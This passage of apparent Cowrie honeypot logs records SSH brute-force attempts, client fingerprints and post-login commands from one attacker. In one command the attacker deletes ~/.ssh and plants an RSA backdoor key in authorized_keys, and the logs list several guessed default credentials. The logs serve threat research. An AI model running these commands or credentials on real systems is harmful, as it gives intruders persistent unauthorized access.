a-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:01.708217Z","src_ip":"141.11.88.14","session":"87bbefc82c96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":42756,"dst_ip":"10.17.0.5","dst_port":22,"session":"989276d86059","protocol":"ssh","message":"New connection: 103.143.231.24:42756 (10.17.0.5:22) [session: 989276d86059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:02.067596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:02.071706Z","src_ip":"103.143.231.24","session":"989276d86059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:02.141422Z","src_ip":"103.143.231.24","session":"989276d86059","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@2024","message":"login attempt [oracle/oracle@2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:02.462433Z","src_ip":"103.143.231.24","session":"989276d86059","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:02.682404Z","src_ip":"103.143.231.24","session":"989276d86059","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:02.686674Z","src_ip":"103.143.231.24","session":"989276d86059","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:02.691579Z","src_ip":"103.143.231.24","session":"989276d86059","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:02.850586Z","src_ip":"103.143.231.24","session":"989276d86059","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:03.086587Z","src_ip":"103.143.231.24","session":"989276d86059","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:03.091273Z","src_ip":"103.143.231.24","session":"989276d86059","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:03.168828Z","src_ip":"103.143.231.24","session":"989276d86059","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:03.174414Z","src_ip":"103.143.231.24","session":"989276d86059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":42760,"dst_ip":"10.17.0.5","dst_port":22,"session":"663b5dc91ae8","protocol":"ssh","message":"New connection: 103.143.231.24:42760 (10.17.0.5:22) [session: 663b5dc91ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:03.230309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:03.236073Z","src_ip":"103.143.231.24","session":"663b5dc91ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:03.278823Z","src_ip":"141.11.88.14","session":"87bbefc82c96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:03.303916Z","src_ip":"103.143.231.24","session":"663b5dc91ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:03.607328Z","src_ip":"103.143.231.24","session":"663b5dc91ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:04.684330Z","src_ip":"103.143.231.24","session":"663b5dc91ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:04.741117Z","src_ip":"141.11.88.14","session":"87bbefc82c96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":42768,"dst_ip":"10.17.0.5","dst_port":22,"session":"71964a6622c9","protocol":"ssh","message":"New connection: 103.143.231.24:42768 (10.17.0.5:22) [session: 71964a6622c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:04.746743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:04.750540Z","src_ip":"103.143.231.24","session":"71964a6622c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:04.818611Z","src_ip":"103.143.231.24","session":"71964a6622c9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:05.129044Z","src_ip":"103.143.231.24","session":"71964a6622c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:05.206218Z","src_ip":"103.143.231.24","session":"71964a6622c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:05.211145Z","src_ip":"103.143.231.24","session":"989276d86059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":45878,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9fe35769bf0","protocol":"ssh","message":"New connection: 103.172.78.219:45878 (159.203.135.109:22) [session: f9fe35769bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:06.862282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:06.875412Z","src_ip":"103.172.78.219","session":"f9fe35769bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:07.141555Z","src_ip":"103.172.78.219","session":"f9fe35769bf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18061981","message":"login attempt [root/18061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:07.946185Z","src_ip":"103.172.78.219","session":"f9fe35769bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48910,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c21995a464d","protocol":"ssh","message":"New connection: 141.11.88.14:48910 (10.17.0.5:22) [session: 4c21995a464d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:09.110493Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:09.217340Z","src_ip":"103.172.78.219","session":"f9fe35769bf0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:09.267134Z","src_ip":"141.11.88.14","session":"4c21995a464d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:09.271775Z","src_ip":"141.11.88.14","session":"4c21995a464d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:10.426008Z","src_ip":"141.11.88.14","session":"4c21995a464d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.73437261581421,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:10.626005Z","src_ip":"128.199.8.54","session":"1b52558da835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:11.544225Z","src_ip":"141.11.88.14","session":"4c21995a464d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49714,"dst_ip":"159.203.135.109","dst_port":23,"session":"d49c73a98472","protocol":"telnet","message":"New connection: 172.81.62.90:49714 (159.203.135.109:23) [session: d49c73a98472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:15.682338Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12104,"dst_ip":"10.17.0.5","dst_port":22,"session":"4763cdf78022","protocol":"ssh","message":"New connection: 141.11.88.14:12104 (10.17.0.5:22) [session: 4763cdf78022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:18.515491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:18.547401Z","src_ip":"141.11.88.14","session":"4763cdf78022","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:18.621264Z","src_ip":"141.11.88.14","session":"4763cdf78022","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"toor","message":"login attempt [pi/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:19.004308Z","src_ip":"141.11.88.14","session":"4763cdf78022","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:20.101219Z","src_ip":"141.11.88.14","session":"4763cdf78022","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12188,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0faa777b076","protocol":"ssh","message":"New connection: 141.11.88.14:12188 (10.17.0.5:22) [session: b0faa777b076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:26.337465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:19:26.349576Z","src_ip":"141.11.88.14","session":"b0faa777b076","protocol":"ssh"}
